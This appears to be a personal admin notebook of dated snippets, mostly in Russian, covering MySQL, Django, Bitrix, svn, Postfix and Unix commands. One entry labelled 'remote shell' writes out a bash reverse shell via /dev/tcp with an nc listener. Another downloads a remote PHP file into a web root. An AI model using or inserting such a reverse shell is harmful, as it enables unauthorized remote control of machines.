15 апр 2014
расчет высоты стола:
Ваш рост * 75 см / 175 см = Высота стола
24 мар 2014
mysql change default storage engine:
set global storage_engine=MYISAM;
show engines;
23 фев 2014
Конечно, никуда без django-annoying. А еще полезны:
https://bitbucket.org/jespern/django-piston/overview
https://bitbucket.org/offline/django-publicauth/overview
https://bitbucket.org/jezdez/django-robots/overview
https://bitbucket.org/david/django-storages/overview
https://bitbucket.org/zuber/django-newtagging/overview
https://bitbucket.org/Kizlum/django-lightsearch/overview
https://bitbucket.org/slav0nic/django-flickrstorage/overview
12 фев 2014
ALTER DATABASE XXX DEFAULT COLLATE utf8_unicode_ci;
03 фев 2014
convert putty public key to openssh:
ssh-keygen -i -f id_rsa.pub >> .ssh/authorized_keys
02 дек 2013
bitrix highloadblock usage:
if (!CModule::IncludeModule('highloadblock')) {
echo 'highloadblock module not found';
die();
}

use Bitrix\Highloadblock as HL;
use Bitrix\Main\Entity;

$hlblock = HL\HighloadBlockTable::getById(1)->fetch();
$entity = HL\HighloadBlockTable::compileEntity($hlblock);
$main_query = new Entity\Query($entity);
$main_query->setSelect(array('*'));
$main_query->setOrder(array('id' => 'desc'));
$main_query->setFilter(array('>UF_NUMBER' => 123));

$result = $main_query->exec();
$result = new CDBResult($result);
while ($row = $result->Fetch()) {
dd($row);
}
23 ноя 2013
find:
http://www.tecmint.com/35-practical-examples-of-linux-find-command/
05 ноя 2013
перезагрузить модуби битрикса через систему обновления:
BX_SUPPORT_MODE=Y
28 окт 2013
создать большой файл в unix:
/bin/dd if=/dev/random of=./aa count=100 bs=1m
18 окт 2013
abort: no suitable response from remote hg!

[ui]
remotecmd = ~/.venv/bin/hg
17 сен 2013
генерируем пароли в консоли:
/usr/bin/pwgen -acn 12 1
05 сен 2013
Google Authenticator for python )
import onetimepass as otp
my_secret = '<some secret here>'
my_token = otp.get_totp(my_secret)
my_token
29 авг 2013
remote shell

remote
/bin/bash -i > /dev/tcp/ipaddr/18889 0<&1 2>&1

local
nc -n -vv -l 18889
06 май 2013
django migrate mysql to sqlite3:

python manage.py dumpdata > dump.json

python manage.py syncdb
python manage.py reset contenttypes
python manage.py loaddata dump.json
07 дек 2012
if (($str = file_get_contents('http://www.1c-bitrix.ru/download/files/scripts/bx_scanner.php')) && file_put_contents($_SERVER['DOCUMENT_ROOT'].'/bitrix/bx_scanner.php', $str)) echo '<a href="/bitrix/bx_scanner.php">открыть</a>';else echo 'Ошибка';
04 окт 2012
svn color diff:
svn diff --diff-cmd colordiff -x "-u -w -p" "$@"
22 авг 2012
100 cpu named

I run bind 9.8.1-P1 on an Ubuntu 12.04 server and encountered this issue. I resolved it by:

1. Adding to /etc/bind/named.conf.options this line inside the options braces:

managed-keys-directory "/var/named/dynamic";

2. Creating /var/named and /var/named/dynamic and doing:

sudo chown -R bind /var/named

3. Turning off AppArmor for named using:

sudo aa-complain usr.sbin.named

The last step was necessary because in dmesg I observed:

[22242455.552280] type=1400 audit(1345503871.458:10): apparmor="DENIED" operation="mknod" parent=11043 profile="/usr/sbin/named" name="/var/named/dynamic/managed-keys.bind.jnl" pid=11045 comm="named" requested_mask="c" denied_mask="c" fsuid=106 ouid=106
22 авг 2012
почистить список отложенных писем
postsuper -d ALL deferred
10 авг 2012
line count (N): wc -l file_name

top of file (first K lines): head -n K file_name > top_file

bottom of file (L=N-K): tail -n L file_name > bottom_file

Also, on second thought, split will work in your case, since the first split is larger than the second. Split puts the balance of the input into the last split, so

split -l 300000 file_name

will output xaa with 300k lines and xab with 100k lines, for an input with 400k lines.
09 авг 2012
удалить все файлы по содержимому:
grep -Z -l 'pattern' * | xargs -0 echo
02 авг 2012
pv - рулит =)
tar -czf - SASPlanet/ | pv --size=306745522> sas.tgz
16 июл 2012
merge folders:
cp -pRv source/ target
03 июл 2012
svn addremove:

svn stat > /tmp/files.$$
grep '^? ' /tmp/files.$$ | cut -c 3- | \
while read fname ; do svn add "${fname}" ; done
grep '^! ' /tmp/files.$$ | cut -c 3- | \
while read fname ; do svn rm "${fname}" ; done
rm /tmp/files.$$
20 июн 2012
jk_init -v -j /home/jail <program>
jk_jailuser -m -j /home/jail <username>
14 июн 2012
изменение прав на файлы и папки:
chmod -R 644 .
find . -type d -exec chmod 0755 {} \;

одной командой
chmod -R u=rwX,g=rwX,o=r .